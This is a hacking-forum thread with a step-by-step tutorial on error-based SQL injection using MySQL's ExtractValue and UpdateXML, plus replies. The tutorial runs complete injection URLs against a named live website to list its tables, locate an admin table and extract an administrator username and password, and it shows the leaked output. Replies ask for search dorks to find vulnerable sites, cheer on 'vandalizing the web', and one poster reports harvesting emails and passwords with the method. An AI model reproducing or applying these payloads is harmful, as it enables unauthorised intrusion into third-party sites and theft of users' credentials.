

Forum:[Hack Forums](#)

Thread: [\[ExtractValue/UpdateXML\] XPath Injection Tutorial \[Pics/Detailed\]](#)

-DownFall - January 7, 2012, 9:19 am

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I'd thought I'd make a quick tutorial for it. I want to thank [?Dan](#) for the idea. Now I'll be going over both methods just for the sake of adding it to my mega-thread.

Extract Value

I'll be using this site as an example.

Code <http://leadacidbatteryinfo.org/newsdetail.php?id=51>
Version (ExtractValue)

Code `+and+extractvalue(rand(),concat(0x7e,version()))--`
This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.

Code
[http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue\(rand\(\),concat\(0x7e,version\(\)\)\)--](http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--)
Code XPATH syntax error: '~5.1.52-log'
Spoiler [\(Click to View\)](#)

You should get your version.

Getting The Tables (Extract Value)

Code
`+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--`
My link looks like this.

Code
[http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue\(rand\(\),concat\(0x7e,\(select+table_name+from+information_schema.tables+where+table_schema=database\(\)+limit+0,1\)\)\)--](http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--)
So lets load it up and see if we get our first table name!

Spoiler [\(Click to View\)](#)

Code XPATH syntax error: '~pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.

Code
[http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue\(rand\(\),concat\(0x7e,\(select+table_name+from+information_schema.tables+where+table_schema=database\(\)+limit+\[b\]1\[/b\],1\)\)\)--](http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]1[/b],1)))--)

Code XPATH syntax error: '~pdigengine'

-.-

We want users or admin..

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--
```

Code XPATH syntax error: '~pdigexcludes'

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]10[/b],1)))--
```

Code XPATH syntax error: '~tbladmin'

Woot, now let's get the columns.

Getting The Columns (ExtractValue)

First off, we want to convert our table name to hex.

You can do that [here](#)

My table name was tbladmin.

Whenever you convert something to hex, you add 0x in front of it.

It tells the site to read the hex value.

The hex of tbladmin is 74626c61646d696e

So it should look like this.

Code 0x74626c61646d696e

Now to get our columns, we change our syntax a bit, but it's still generally the same idea.

Code

```
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
```

Of course, replace TABLE_HEX with the hex value of your table name.

My link looks like this.

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--
```

Spoiler ([Click to View](#))

Code XPATH syntax error: '~adminid'

Now use increment in your limit statement until you find the columns you want.

Getting Data Out of Columns (ExtractValue)

Now that you've got your column names, you're going to want to put them in a concat statement.

Code

```
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
```

My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a separator.

My link looks like this.

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username,0x7e,password)+from+tbladmin+limit+0,1)))--
```

And as you can see, we get our XPath error with the admin login.

Spoiler [\(Click to View\)](#)

Code XPATH syntax error: '~ishir~ishir123'

UpdateXML

Getting The Version (UpdateXML)

```
Code +and+updatexml(0x7e,concat(0x7e,(version()))),0)--
```

My link looks like this..

Code

```
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version()))),0)--
```

We get our XPATH Error that returns the version.

Code XPATH syntax error: '~5.1.52-log'

Spoiler [\(Click to View\)](#)

Getting The Tables (UpdateXML)

Code

```
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--
```

My link looks like this..

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--
```

Spoiler [\(Click to View\)](#)

Code XPATH syntax error: '~pdigclicks'

Now we know our first table is called pdigclicks. Let's see what else is in here....

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--
```

Code XPATH syntax error: '~pdigengine'

For the sake of time, I know the table name I want is tbladmin.

Code

leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--
And there's our table.

Code XPATH syntax error: '~tbladmin'
Now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code

```
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--
```

Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))),0)--
```

Code XPATH syntax error: '~adminid'

Spoiler ([Click to View](#))

Getting Data (UpdateXML)

Now once you've got your columns, concatenate them and get the from the table you want.

Code

```
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1))),0)--
```

My link looks like this..

Code

```
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7e,password)+from+tbladmin+limit+0,1))),0)--
```

Code XPATH syntax error: '~ishir~ishir123'

Spoiler ([Click to View](#))

Welp, I'm out! Let me know if you need help.

Shoutout to Zer0Lulz, Dan, and the rest of Team Intra ^^

bckslsh - January 7, 2012, 9:24 am

Nice tutorial man :). Way better than mine haha.

I had never seen any tutorials using updatexml() :)

-DownFall - January 7, 2012, 9:28 am

(Jan 7, 2012 10:24 AM)?Dan Wrote: [CITEI](#) Nice tutorial man :). Way better than mine haha.

I had never seen any tutorials using updatexml() :)

Yeah, it's pretty hard to find info on it. Sorry I didn't use the site you gave me, it was string based

and I didn't want to confuse anyone. Plus my goal was to find an admin login, since that's the main attraction around here, and I would have had to get it from a different database (even more confusing to beginners).

Thanks for the idea though, have fun reading. I'm sure you'll have XPath down in no time :3

bckslsh - January 7, 2012, 9:29 am

(Jan 7, 2012 10:28 AM)-DownFall Wrote: [\[CITE\]](#) Yeah, it's pretty hard to find info on it. Sorry I didn't use the site you gave me, it was string based and I didn't want to confuse anyone. Plus my goal was to find an admin login, since that's the main attraction around here, and I would have had to get it from a different database (even more confusing to beginners).

Thanks for the idea though, have fun reading. I'm sure you'll have XPath down in no time :3
I'm fine with extractvalue() haha, updatexml() looks very similar.

-zerocool - January 7, 2012, 9:31 am

Nice tut downfall.

extractvalue() and updatexml() both are interchangeable.
Thanks!

kakker - January 7, 2012, 9:49 am

great tutorial tyvm :)
keep it up!!!

-DownFall - January 7, 2012, 9:50 am

(Jan 7, 2012 10:31 AM)d4rkn3ss Wrote: [\[CITE\]](#) Nice tut downfall.
extractvalue() and updatexml() both are interchangeable.
Thanks!
Thanks, and yeah, they both pretty much work the same.
Once you got extractvalue down, you'll learn to use UpdateXML pretty quick.

mirkops - January 7, 2012, 8:32 pm

Great tuto..thanks a lot dear...it is possible to use for version<5 too??

-DownFall - January 7, 2012, 8:41 pm

(Jan 7, 2012 09:32 PM)mirkops Wrote: [\[CITE\]](#) Great tuto..thanks a lot dear...it is possible to use for version<5 too??
MySQL 5.1 and above.
It's not supported on anything lower.

<http://dev.mysql.com/doc/refman/5.1/en/xml-functions.html>

mirkops - January 7, 2012, 8:42 pm

One question else...how can we recognize one web vulnerable for this method?? thanks advance

-DownFall - January 7, 2012, 8:44 pm

(Jan 7, 2012 09:42 PM)mirkops Wrote: [\[CITE\]](#) One question else...how can we recognize one web vulnerable for this method?? thanks advance
Get the sites version, then try getting the version with UpdateXML or ExtractValue if the MySQL is > 5.1

mirkops - January 7, 2012, 9:10 pm

No I say how we can recognize for use this method...maybe when all another methods doesn't work???

-DownFall - January 7, 2012, 9:37 pm

(Jan 7, 2012 10:10 PM)mirkops Wrote: [\[CITE\]](#) No I say how we can recognize for use this method...maybe when all another methods doesn't work???

You can try it whether the other methods work or not...it's a matter of personal preference. If you can't use any other method of injection, you don't really have a choice now do you? :3

lol

.Satan - January 8, 2012, 1:34 am

Another amazing tut by downfall ^^
nice work! i will try it out soon

Ichi - January 8, 2012, 8:31 am

Another great tutorial. Thanks man, really helped me out

Prominent - January 8, 2012, 8:46 am

Seems like xPath injections are getting a bit known here. Glad to see another detailed tutorial on this type of injection, well done :3

-DownFall - January 8, 2012, 10:08 am

(Jan 8, 2012 09:46 AM)Prominent Wrote: [\[CITE\]](#) Seems like xPath injections are getting a bit known here. Glad to see another detailed tutorial on this type of injection, well done :3

Thanks Prominent, thought I would add my own with both methods of doing this. Thanks for all the replies!

-zerocool - January 8, 2012, 10:17 am

(Jan 7, 2012 10:10 PM)mirkops Wrote: [\[CITE\]](#) No I say how we can recognize for use this method...maybe when all another methods doesn't work???Especially you find

Code The used select statements have a different number of columns with union.

condition version=5.1.5

It is error based injection.

Limboland™ - January 8, 2012, 3:37 pm

very nice TuT ...

Thank you very much .

?????

Pen and Paper - January 9, 2012, 5:44 am

finally a tutorial. i found alot types of this injection and i couldn't exploit. now i know :D

ty

BeggFoMercy - January 9, 2012, 10:59 am

nice lol

im kinda trying to master every injecting Method ;) so that kinda helped me out alot
keep it up

-DownFall - January 9, 2012, 3:36 pm

(Jan 9, 2012 11:59 AM)BeggFoMercy Wrote: [\[CITE\]](#) nice lol

im kinda trying to master every injecting Method ;) so that kinda helped me out alot keep it up

Thanks, you have me on MSN if you need anything. Make sure you bookmark my mega thread so you can learn them all, I went over a lot.

BeggFoMercy - January 9, 2012, 3:42 pm

(Jan 9, 2012 04:36 PM)-DownFall Wrote: [\[CITE\]](#) Thanks, you have me on MSN if you need anything. Make sure you bookmark my mega thread so you can learn them all, I went over a lot.

Thats for sure mate i will head over to ask u if im stak in some thing

mabbylish - January 15, 2012, 7:19 pm

Thanks for the tutorial ,and i was wondering when can i use XPath Injection ? and how can i tell it ?

root_Hak42 - January 15, 2012, 8:52 pm

@Downfall - Could of used this like a month ago as I recently learned this method for injection!!! Good share.

-DownFall - January 17, 2012, 11:15 am

(Jan 15, 2012 09:52 PM)root_Hak42 Wrote: [\[CITE\]](#) @Downfall - Could of used this like a month ago as I recently learned this method for injection!!! Good share.

Sorry, I never really thought of making a tutorial on it, should have done it sooner. Hopefully this helps you refresh your memory, just in case you don't remember something.

Cyber_Space_Warrior - January 18, 2012, 6:35 am

updatexml() huh! thats new to me , thanks a lot bro!!!

-DownFall - January 18, 2012, 9:20 am

(Jan 18, 2012 07:35 AM)Cyber_Space_Warrior Wrote: [\[CITE\]](#) updatexml() huh! thats new to me , thanks a lot bro!!!

No problem, I'm glad you learned something new from it!

Keep up the good work :3

Diabolis - January 18, 2012, 6:23 pm

Thanks for the tut man, I'm trying to do what BeggFoMercy's doing, and so far its going really well.

This clears up quite a few things as far as updatexml() goes, I 'kept seeing sites (the few that explained it) trying to use different syntaxes for using it. Needless to say, that got a bit confusing after a while.

Great work man, looking forward to seeing new stuff from you ?

-DownFall - January 18, 2012, 6:24 pm

(Jan 18, 2012 07:23 PM)Diabolis Wrote: [\[CITE\]](#) Thanks for the tut man, I'm trying to do what BeggFoMercy's doing, and so far its going really well.

This clears up quite a few things as far as updatexml() goes, I 'kept seeing sites (the few that explained it) trying to use different syntaxes for using it. Needless to say, that got a bit confusing

after a while.

Great work man, looking forward to seeing new stuff from you ?

No problem, thanks for the reply. I was thinking of making a tutorial on SQL Injecting vulnerable vBulletin forums, but I wasn't sure if anyone would be interested in it..

Diabolis - January 18, 2012, 7:17 pm

(Jan 18, 2012 07:24 PM)-DownFall Wrote: [\[CITE\]](#) No problem, thanks for the reply. I was thinking of making a tutorial on SQL Injecting vulnerable vBulletin forums, but I wasn't sure if anyone would be interested in it..

Lol, I'd be interested. Anything that has to do with learning more about vandalizing the web, I'm all for learning ?

And I just noticed, thanks for the +rep, man ?

noober1001 - March 24, 2012, 12:31 pm

very very helpful tutorial bro.

Thank you so much for sharing this.

Keep it up.

Th3PonyWizard - March 24, 2012, 1:34 pm

A truly HQ tutorial. One question though, does someone have some kind of Google dork for finding an XPath injection? Cuz, it will be tricky to remember when exactly I will be required to use it. Oh well, thanks anyway

Hulahoops - March 24, 2012, 3:52 pm

Leech tutorial with words changed, give credits.

<https://rdot.org/forum/showthread.php?t=60>

<https://hackforums.net/showthread.php?tid=1215039>

Nexus - June 12, 2012, 6:33 pm

Great -DownFall

Tnx for this great tutorial

-DownFall - June 13, 2012, 9:20 am

(Mar 24, 2012 01:34 PM)Th3PonyWizard Wrote: [\[CITE\]](#) A truly HQ tutorial. One question though, does someone have some kind of Google dork for finding an XPath injection? Cuz, it will be tricky to remember when exactly I will be required to use it. Oh well, thanks anyway

Just use SQLi dorks, and if the website spits out MySQL errors, you should be able to use XPath Injection. Most sites that you can use error based, you can use XPath as well.

(Jun 12, 2012 06:33 PM)Nexus Wrote: [\[CITE\]](#) Great -DownFall

Tnx for this great tutorial

No problem, glad you liked it.

(Mar 24, 2012 03:52 PM)Heretical Wrote: [\[CITE\]](#) Leech tutorial with words changed, give credits.

<https://rdot.org/forum/showthread.php?t=60>

<https://hackforums.net/showthread.php?tid=1215039>

Please explain how this is copied, this is a tutorial, all that thread shows is an example of

extractvalue(), and doesn't say shit about updatexml().

Vivek_s - June 17, 2012, 12:39 am

good tutorial

Thanks bro

The 35 charsss

pimaS - July 18, 2012, 2:37 am

Very very useful, thanks a lot man!

Vinster - July 18, 2012, 6:44 pm

thanks for this tutorial! helped me a lot[:

ajkaro - July 19, 2012, 12:02 pm

Great tutorial, thanks man. Bookmarked :)

Suit® - August 7, 2012, 8:28 am

Thanks for the tut bro. Helped me out with a site that had been bugging me for ages.
Oh how persistence rewards. Cheers

Toasties - July 12, 2013, 12:28 am

nice tut man, looks good thanks for the information :D

orionshunter - May 23, 2014, 11:23 pm

Awesome tutorial at all ...thankyou so much for posting such kind of helpful tutorial

Kitty - June 29, 2014, 7:31 am

detailed and easy to understand, thanks!!

but in my case when i get to the final step to get data from columns, all i get is blank space, why could that be? -_-

LocoJose - June 29, 2014, 9:36 am

One way is try to count if there is data in these columns. Sometimes columns are empty.

mbt777 - June 29, 2014, 9:57 am

what exactly is a Xpath injection? a newbie sorry

Mr_Ratz - July 9, 2014, 3:49 pm

Dude, sorry if my question is to noob or su*ks.

But, does a string based occur on XPath?

So that the link would be :

Xwww.leadacidbatteryinfo.org/newsdetail.php?id=51'+and+extractvalue(rand()),concat(0x7e,version())--+]www.leadacidbatteryinfo.org/newsdetail.php?id=51'+and+extractvalue(rand()),concat(0x7e,version())--+

*remove the X

?

Loganshadow - July 14, 2014, 8:07 pm

Thanks for the tutorial I ended up using it last night (with some slight modification towards my sql version). I ended up grabbing the emails and passwords to them. :)

Kitty - July 15, 2014, 1:50 am

can this method be applied in sqlmap?? because manually i get empty columns but apparently they're not empty in sqlmap o.o ty
if yes, how?? ty

ridhisidhi12 - July 17, 2014, 11:42 pm

How we know when to use and when not to use Xpath Inejction
Thanks. Nice tutorial really

NoodleBot™ - July 17, 2014, 11:45 pm

As always a great tutorial. Good job!

Falafel1 - July 18, 2014, 2:16 am

Great Job !, might use that method looks neat.

DROP TABLE users - August 13, 2016, 3:13 am

very nice tutorial! Well done!

Inject0r Killer - August 13, 2016, 3:17 am

Great ? Nice One ! Keep Sharing

Kitty - November 3, 2018, 2:07 pm

XPATH syntax error: '~ishir~ishir123'

What to do if the result is more than 32 characters in length?

markjohnson22343a - November 17, 2018, 6:01 am

Thanks for this great tutorial i really appreciate